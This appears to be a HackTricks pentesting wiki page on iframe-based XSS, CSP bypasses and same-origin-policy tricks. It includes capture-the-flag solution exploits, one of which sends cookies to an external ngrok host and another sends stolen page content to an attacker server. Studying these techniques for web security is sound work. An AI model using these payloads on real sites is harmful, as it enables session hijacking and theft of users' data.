hacktricks/pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md
2022-10-12 23:50:04 +00:00

18 KiB
Raw Blame History

Iframes in XSS, CSP and SOP

Iframes in XSS, CSP and SOP

Support HackTricks and get benefits!

Iframes in XSS

There are 3 ways to indicate the content of an iframed page:

  • Via src indicating an URL (the URL may be cross origin or same origin)
  • Via src indicating the content using the data: protocol
  • Via srcdoc indicating the content

Accesing Parent & Child vars

<html>
  <script>
  var secret = "31337s3cr37t";
  </script>

  <iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
  <iframe id="if2" src="child.html"></iframe>
  <iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
  <iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>

  <script>
  function access_children_vars(){
    alert(if1.secret);
    alert(if2.secret);
    alert(if3.secret);
    alert(if4.secret);
  }
  setTimeout(access_children_vars, 3000);
  </script>
</html>
<!-- content of child.html -->
<script>
var secret="child secret";
alert(parent.secret)
</script>

If you access the previous html via a http server (like python3 -m http.server) you will notice that all the scripts will be executed (as there is no CSP preventing it)., the parent wont be able to access the secret var inside any iframe and only the iframes if2 & if3 (which are considered to be same-site) can access the secret in the original window.
Note how if4 is considered to have null origin.

Iframes with CSP

{% hint style="info" %} Please, note how in the following bypasses the response to the iframed page doesn't contain any CSP header that prevents JS execution. {% endhint %}

The self value of script-src wont allow the execution of the JS code using the data: protocol or the srcdoc attribute.
However, even the none value of the CSP will allow the execution of the iframes that put a URL (complete or just the path) in the src attribute.
Therefore its possible to bypass the CSP of a page with:

<html>
<head>
 <meta http-equiv="Content-Security-Policy" content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk='">
</head>
  <script>
  var secret = "31337s3cr37t";
  </script>
  <iframe id="if1" src="child.html"></iframe>
  <iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
  <iframe id="if3" srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
  <iframe id="if4" src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>

Note how the previous CSP only permits the execution of the inline script.
However, only if1 and if2 scripts are going to be executed but only if1 will be able to access the parent secret.

Therefore, its possible to bypass a CSP if you can upload a JS file to the server and load it via iframe even with script-src 'none'. This can potentially be also done abusing a same-site JSONP endpoint.

You can test this with the following scenario were a cookie is stolen even with script-src 'none'. Just run the application and access it with your browser:

import flask
from flask import Flask
app = Flask(__name__)

@app.route("/")
def index():
    resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
    resp.headers['Content-Security-Policy'] = "script-src 'self'"
    resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
    return resp

@app.route("/cookie_s.html")
def cookie_s():
    return "<script>alert(document.cookie)</script>"

if __name__ == "__main__":
    app.run()

Other Payloads found on the wild

<!-- This one requires the data: scheme to be allowed -->
<iframe srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>

Iframe sandbox

The sandbox attribute enables an extra set of restrictions for the content in the iframe. By default, no restriction is applied.

When the sandbox attribute is present, and it will:

  • treat the content as being from a unique origin
  • block form submission
  • block script execution
  • disable APIs
  • prevent links from targeting other browsing contexts
  • prevent content from using plugins (through <embed>, <object>, <applet>, or other)
  • prevent the content to navigate its top-level browsing context
  • block automatically triggered features (such as automatically playing a video or automatically focusing a form control)

The value of the sandbox attribute can either be empty (then all restrictions are applied), or a space-separated list of pre-defined values that will REMOVE the particular restrictions.

<iframe src="demo_iframe_sandbox.htm" sandbox></iframe>

Iframes in SOP-1

In this challenge created by NDevTK and Terjanq you need you need to exploit a XSS in the coded

const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
  const data = e.data;
  if (e.origin !== window.origin && data.identifier !== identifier) return;
  if (data.type === 'render') {
    renderContainer.innerHTML = data.body;
  }
}

The main problem is that the main page uses DomPurify to send the data.body, so in order to send your own html data to that code you need to bypass e.origin !== window.origin.

Let's see the solution they propose.

SOP bypass 1 (.origin === null)

When //example.org is embedded into a sandboxed iframe, then the page's origin will be null, i.e. window.origin === null. So just by embedding the iframe via <iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php"> we could force the null origin.

If the page was embeddable you could bypass that protection that way (cookies might also need to be set to SameSite=None).

SOP bypass 2

The lesser known fact is that when the sandbox value allow-popups is set then the opened popup will inherit all the sandboxed attributes unless allow-popups-to-escape-sandbox is set.

Challenge Solution

Therefore, for this challenge, one could create an iframe, open a popup to the page with the vulnerable XSS code handler (/iframe.php), as window.origin === e.origin because both are null it's possible to send a payload that will exploit the XSS.

That payload will get the identifier and send a XSS it back to the top page (the page that open the popup), which will change location to the vulnerable /iframe.php. Because the identifier is known, it doesn't matter that the condition window.origin === e.origin is not satisfied (remember, the origin is the popup from the iframe which has origin null) because data.identifier === identifier. Then, the XSS will trigger again, this time in the correct origin.

<body>
  <script>
    f = document.createElement('iframe');
    
    // Needed flags
    f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
    
    // Second communication with /iframe.php (this is the top page relocated)
    // This will execute the alert in the correct origin
    const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
      x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
    },1000);`.replaceAll('\n',' ');
   
   // Initial communication
   // Open /iframe.php in a popup, both iframes and popup will have "null" as origin
   // Then, bypass window.origin === e.origin to steal the identifier and communicate
   // with the top with the second XSS payload
    f.srcdoc = `
    <h1>Click me!</h1>
    <script>
      onclick = e => {
        let w = open('https://so-xss.terjanq.me/iframe.php');
        onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
        setTimeout(_ => {
          w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
        }, 1000);
      };
    <\/script>
    `
    document.body.appendChild(f);
  </script>
</body>

Iframes in SOP-2

In the solution for this challenge, @Strellic_ proposes a similar method to the previous section. Let's check it.

In this challenge the attacker needs to bypass this:

if (e.source == window.calc.contentWindow && e.data.token == window.token) {

If he does, he can send a postmessage with HTML content that is going to be written in the page with innerHTML without sanitation (XSS).

The way to bypass the first check is by making window.calc.contentWindow to undefined and e.source to null:

  • window.calc.contentWindow is actually document.getElementById("calc"). You can clobber document.getElementById with <img name=getElementById /> (note that Sanitizer API -here- is not configured to protect against DOM clobbering attacks in its default state).
    • Therefore, you can clobber document.getElementById("calc") with <img name=getElementById /><div id=calc></div>. Then, window.calc will be undefined.
    • Now, we need e.source to be undefined or null (because == is used instead of ===, null == undefined is True). Getting this is "easy". If you create an iframe and send a postMessage from it and immediately remove the iframe, e.origin is going to be null. Check the following code
let iframe = document.createElement('iframe');
document.body.appendChild(iframe);
window.target = window.open("http://localhost:8080/");
await new Promise(r => setTimeout(r, 2000)); // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
document.body.removeChild(iframe); //e.origin === null

In order to bypass the second check about token is by sending token with value null and making window.token value undefined:

  • Sending token in the postMessage with value null is trivial.
  • window.token in calling the function getCookie which uses document.cookie. Note that any access to document.cookie in null origin pages tigger an error. This will make window.token have undefined value.

The final solution by @terjanq is the following:

<html>
    <body>
        <script>
            // Abuse "expr" param to cause a HTML injection and
            // clobber document.getElementById and make window.calc.contentWindow undefined
            open('https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"');
            
            function start(){
                var ifr = document.createElement('iframe');
                // Create a sandboxed iframe, as sandboxed iframes will have origin null
                // this null origin will document.cookie trigger an error and window.token will be undefined
                ifr.sandbox = 'allow-scripts allow-popups';
                ifr.srcdoc = `<script>(${hack})()<\/script>`
                
                document.body.appendChild(ifr);
                
                function hack(){
                    var win = open('https://obligatory-calc.ctf.sekai.team');
                    setTimeout(()=>{
                        parent.postMessage('remove', '*');
                        // this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
                        // token=null equals to undefined and e.source will be null so null == undefined
                        win.postMessage({token:null, result:"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>"}, '*');
                    },1000);
                }
                
                // this removes the iframe so e.source becomes null in postMessage event.
                onmessage = e=> {if(e.data == 'remove') document.body.innerHTML = ''; }
            }
            setTimeout(start, 1000);
        </script>
    </body>
    
</html>

Changing child iframes locations

According to this writeup, if you can iframe a webpage without X-Frame-Header that contains another iframe, you can change the location of that child iframe.
This is specially useful in postMessages because if the parent page is sending sensitive data using a wildcard like windowRef.postmessage("","*") it's possible to change the location of the iframe to an attacker controlled location and steal that data.

Winning RCs with Iframes

According to this Terjanq writeup blob documents created from null origins are isolated for security benefits, which means that if you maintain busy the main page, the iframe page is going to be executed.

Basically in that challenge an isolated iframe is executed and right after it's loaded the parent page is going to send a post message with the flag.
However, that postmessage communication is vulnerable to XSS (the iframe can execute JS code).

Therefore, the goal of the attacker is to let the parent create the iframe, but before let the parent page send the sensitive data (flag) keep it busy and send the payload to the iframe. While the parent is busy the iframe executes the payload which will be some JS that will listen for the parent postmessage message and leak the flag.
Finally, the iframe has executed the payload and the parent page stops being busy, so it sends the flag and the payload leaks it.

But how could you make the parent be busy right after it generated the iframe and just while it's waiting for the iframe to be ready to send the sensitive data? Basically, you need to find async action you could make the parent execute. For example, in that challenge the parent was listening to postmessages like this:

window.addEventListener('message', (e) => {
    if (e.data == 'blob loaded') {
        $("#previewModal").modal();
    }
});

so it was possible to send a big integer in a postmessage that will be converted to string in that comparison, which will take some time:

const buffer = new Uint8Array(1e7);
win?.postMessage(buffer, '*', [buffer.buffer]);

And in order to be precise and send that postmessage just after the iframe is created but before it's ready to receive the data from the parent, you will need to play with the miliseconds of a setTimeout.

Support HackTricks and get benefits!